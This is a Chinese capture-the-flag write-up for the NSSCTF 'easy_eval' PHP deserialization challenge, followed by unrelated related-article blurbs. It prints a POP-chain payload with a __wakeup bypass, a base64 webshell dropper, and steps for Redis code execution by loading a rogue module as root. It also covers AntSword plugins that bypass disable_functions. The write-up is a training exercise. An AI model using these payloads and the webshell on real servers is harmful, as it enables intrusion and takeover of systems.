NSSCTF-WEB-easy_eval

目录

前言

正文

思路

序列化构造

 后渗透

思路点1:Redis

思路2:蚁剑插件绕过disable_functinons

结尾

作者的其他文章


前言

说是easy,实际很difficult


正文

思路

 <?php
class A{
    public $code = "";
    function __call($method,$args){//最后执行命令
        eval($this->code);
        
    }
    function __wakeup(){//需要绕过
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();//这里触发__call方法
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    //主要还是匹配传入的序列化语句,其实看AB就能够明白
    if (isset($ret[1])) {//下面就是设置的waf了,能够明白这玩意需要绕过即可
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

序列化构造

简单扫一眼,pop构造不难,preg_match根据序列化特性绕过即可

由此

可以写出这样一个文件用于生成可利用的序列化语句

<?php
class a{
    public $code;
    function __construct(){
        $this->code="system('ls');";
    }
}

class b{
    public $a;
}

$a=new b();
$a->a=new a();
echo serialize($a);
//O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}

接下来将生成的序列化语句内"b":1"a":1修改为2

因为是类序列化,所以只要保证含__wakeup方法的类不触发wakeup就行

失败

有可能过滤了system?

进行fuzz测试,发现passthru,exec,shell_exec均被限制,但是传入phpinfo成功

 没有flag

 看看限制了什么函数

限制死死的........

好家伙

但是没有限制eval,那么突发奇想,传个马进去怎么样

 

........好好好

之前还看到有位师傅是怎么传马的,在这里分享一下

fputs(fopen('dotast.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOw=="));

 后渗透

 进去后发现权限不够,且虚拟终端由于源码问题无法正常使用

 只好看看当前目录给咱留下了啥好东西

index.php就特别正常

至于swp文件就一言难尽了

用web访问下


思路点1:Redis

Redis数据库,且知道密码

用蚁剑插件进行连接

 插件可以在这里下载

 密码就是you_cannot_guess_it

成功

当然,你现在还是啥也干不了

接下来需要做的是,使用redis指令对目标进行进一步利用

简单举个例子

随便找个db右键开个终端

 

关于Redis的基础指令,可以看这篇文章

【Redis】Redis基础命令集详解_redis命令-CSDN博客

其实还是有必要了解的,网安可以说是系统工程什么都要会一点

不过大部分情况下都是即学即用是了//DOGE

既然题目除了redis便没有其他可利用的情况,那么我们需要对redis历年的漏洞做一个简单的收集,然后获取这台机子的版本信息做进一步利用

其实他给你封死了,你并没有办法做信息收集

出现这个问题的主要原因是题目构造所造成的缺陷,他既导致了漏洞的产生,也让你后渗透不能太舒服

.......

但是在你连接数据库的时候,在网页目录(var/www/html)会生成一个rdb文件

这样就拿到了redis的版本号

redis 5.x引入了模块系统,允许用户通过加载动态库来扩展 Redis 的功能(使用MODULE LOAD命令)。这些模块可以是 C 语言编写的共享库文件(例如 .so 文件)当用户使用root权限且没有正确配置模块路径限制,hacker可以利用这一点加载恶意模块

这里可以算是踩雷了

你可以发现他是以root运行的

好的,接下来尝试上传一个so文件进行下一步利用

这样的公开漏洞(而且还上CTF了),csdn,github上找找exp肯定是可以找到的

https://github.com/Dliv3/redis-rogue-server

ok

将exp.so上传

redis导入模块

至于如何使用

仔细点的师傅应该明白

github上的项目往往都存在一个readme.md教大家如何使用

当然,这题我们肯定是无法借助py进行rce的,看看redis-rogue-server.py是怎么写的

这个应该就是用法了

你也可以访问https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

查看这里的exp.so的用法

成功

看flag


思路2:蚁剑插件绕过disable_functinons

当然

这题还有另外一种解法

使用蚁剑的disable_functions绕过插件绕过前面我们在phpinfo上看到的disable_function限制

正常来说,使用LD_PRELOAD就可以成功绕过

不过这题不行

最后尝试后发现只有这两个可以成功绕过

接下来就简单了

就是这样


结尾

至于为什么github.com无法访问

可以尝试尝试将dns改为8.8.8.8,如果还是不行,那就使用黑魔法或者看命把.............................

还有就是

记得在写反序列化脚本的时候把杀软关了,我的火绒看见webshell直接露头就秒.................


作者的其他文章

攻防世界-WEB-catcat-new_攻防世界catcat-new-CSDN博客

攻防世界-WEB-WEIPHP(记一次有趣的代码审计)_攻防世界weiphp-CSDN博客

BugKu-WEB-sodirty_bugku sodirty-CSDN博客

NSSCTF-WEB-pklovecloud-CSDN博客


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/895131.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

(AtCoder Beginner Contest 375)A - Seats

&#xff08;AtCoder Beginner Contest 375&#xff09;A - Seats 题目大意 给定一个长度为 N N N的字符串 S S S S S S 只包含"#“和”." 求 "#.#"子串 的出现次数 思路 签到题 O ( N ) O(N) O(N) 模拟即可 代码 #include<iostream> #includ…

ssm配置模式

新版 用Java类&#xff0c;全注解demo案例 1. AppConfig.java (Spring主配置类)package com.example.config;import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.Configuration; import org.springframework.cont…

SpringCloudAlibaba升级手册

目录 1. 版本对照 版本现状 SpringCloud与AlibabaCloud对应版本 Springboot与Elasticsearch版本对应 2. openfeign问题 问题 解决方案 3. Feign请求问题 问题 解决方法 4. Sentinel循环依赖 问题 解决方案 5. bootstrap配置文件不生效 问题 解决方案 6. Nacos的…

工信部绿色工厂、绿色设计产品、绿色供应链企业、绿色园区名单(2017-2022年)

我国工信部积极推动制造业的绿色转型&#xff0c;为了表彰在绿色制造领域取得显著成绩的企业和园区&#xff0c;发布了包括绿色工厂、绿色设计产品、绿色供应链企业、绿色园区在内的一系列公示名单。 2017年-2022年工信部绿色工厂、绿色设计产品、绿色供应链企业、绿色园区名单…

脉冲扩散模型

论文 Spiking Diffusion Models 主要内容是提出了“脉冲扩散模型&#xff08;Spiking Diffusion Models, SDMs&#xff09;”&#xff0c;一种基于脉冲神经网络&#xff08;SNN&#xff09;的生成模型&#xff0c;旨在解决传统人工神经网络&#xff08;ANN&#xff09;在图像生…

5G NR:UE初始接入信令流程浅介

UE初始接入信令流程 流程说明 用户设备&#xff08;UE&#xff09;向gNB-DU发送RRCSetupRequest消息。gNB-DU 包含 RRC 消息&#xff0c;如果 UE 被接纳&#xff0c;则在 INITIAL UL RRC MESSAGE TRANSFER 消息中包括为 UE 分配的低层配置&#xff0c;并将其传输到 gNB-CU。IN…

2012年国赛高教杯数学建模C题脑卒中发病环境因素分析及干预解题全过程文档及程序

2012年国赛高教杯数学建模 C题 脑卒中发病环境因素分析及干预 脑卒中&#xff08;俗称脑中风&#xff09;是目前威胁人类生命的严重疾病之一&#xff0c;它的发生是一个漫长的过程&#xff0c;一旦得病就很难逆转。这种疾病的诱发已经被证实与环境因素&#xff0c;包括气温和湿…

怎么开发一款app软件

我们公司想要做一个app软件&#xff0c;老板就让我多了解几家&#xff0c;我就总计一下相关的市场行业。 8月份我一共了解了6家的软件开发公司&#xff0c;也见识了什么叫软件开发公司&#xff0c;6套下来我也挑花了眼&#xff0c;老板也就更不用说了。老板只差让我做选择了…

Linux操作系统切换设置系统语言

随着工作环境中变化&#xff0c;我们在使用电脑时&#xff0c;可能要使用不同的系统语言环境&#xff0c;那计算机如何切换成我们需要的系统语言呢&#xff0c;针对Linux操作系统&#xff0c;这里有两种方法。一是通过桌面图形化界面切换&#xff0c;这种方法操作起来直观、但是…

R语言复杂抽样调查数据统计描述和分析

gtsummary包中tbl_svysummary提供了统计描述&#xff1b;tableone包中的svyCreateTableOne提供了统计比较&#xff1b;原始描述和比较可以是有table1包。 #测试数据 library(survey) setwd("F://") data(Titanic) sur_des<-survey::svydesign(~1, data as.data.…

mongoDB基础知识

文章目录 为什么使用mongoDB&#xff1f;数据模型 想了解什么mongoDB首先我们得先知道什么事“三高”&#xff1f;三高什么呐&#xff1f;具体的应用场景&#xff1f;在这些应用场景中&#xff0c;数据操作方面共同特点是&#xff1a; 什么时候选择mongoDB&#xff1f;mySQL和m…

React基础知识(一) - React初体验

React是在2013年&#xff0c; 由Faceboo开源的&#xff0c;用于构建用户界面的 JavaScript 库。总所周知啊,React是前端三大框架之一啊现在前端领域最为流行的是三大框架&#xff1a; ReactVueAngular 前端三大框架 React开发的特点&#xff1a; &#xff08;1&#xff09;声明…

编程考古-计算机发展(上)

计算机/器现在是我们日常生活中的重要工具&#xff0c;它的发展历程见证了人类数学计算能力的不断提升。 什么是计算 计算的本质在于基于规则对符号串进行变换。简言之&#xff0c;从一个初始的符号串&#xff08;输入&#xff09;出发&#xff0c;依据既定的法则逐步改变这个…

NewStarCTF2024-Week2-Misc-WP

目录 1、wireshark_checkin 2、wireshark_secret 3、字里行间的秘密 4、你也玩原神吗 5、Hertas Study 6、用溯流仪见证伏特台风 7、热心助人的小明 1、wireshark_checkin 直接字符串搜 flag flag{ez_traffic_analyze_isnt_it} 2、wireshark_secret 查看原始数据 导出十…

STM32应用详解(2)GPIO之LED闪烁——学习使用寄存器操作方法编写延时函数

文章目录 前言一、笔记1.GPIO控制LED闪烁的两种方法&#xff1a;2.系统时钟3.延时函数的实现(us) 二、代码1.main函数2.延时函数3.固件库函数4.毫秒和秒延时函数5.整体函数结构 前言 学习使用寄存器操作方法编写延时函数。 一、笔记 1.GPIO控制LED闪烁的两种方法&#xff1a;…

C语言小游戏--猜数字

游戏过程&#xff1a; 由电脑随机在某个范围内生成一个数字&#xff0c;玩家猜数字并且输入&#xff0c;电脑判断是否正确&#xff0c;正确则游戏结束&#xff0c;错误则给出提示&#xff0c;直到玩家所给的答案正确为止 思路分析&#xff1a; 1.生成随机数 2.玩家可以多次…

springboot037基于SpringBoot的墙绘产品展示交易平台的设计与实现(论文+源码)_kaic

毕 业 设 计&#xff08;论 文&#xff09; 题目&#xff1a;墙绘产品展示交易平台设计与实现 摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本墙绘产品展示…

Golang | Leetcode Golang题解之第479题最大回文数乘积

题目&#xff1a; 题解&#xff1a; func largestPalindrome(n int) int {if n 1 {return 9}upper : int(math.Pow10(n)) - 1for left : upper; ; left-- { // 枚举回文数的左半部分p : leftfor x : left; x > 0; x / 10 {p p*10 x%10 // 翻转左半部分到其自身末尾&…

CMOS 图像传感器:像素寻址与信号处理

CMOS image sensor : pixel addressing and signal processing CMOS image sensor 对于寻址和信号处理有三种架构 pixel serial readout and processingcolumn parallel readout and processingpixel parallel readout and processing 其中&#xff0c;column parallel reado…

香港举办AIHCIR 2024国际学术会议,领先人工智能、人机交互和机器人技术

第三届人工智能、人机交互和机器人国际学术会议 &#xff08;AIHCIR 2024&#xff09;将于2024年11月在中国香港举行&#xff0c;聚焦AI、人机交互与机器人领域&#xff0c;邀请知名学者演讲&#xff0c;促进学术交流。论文经评审后提交EI检索&#xff0c;投稿需全英文&#xf…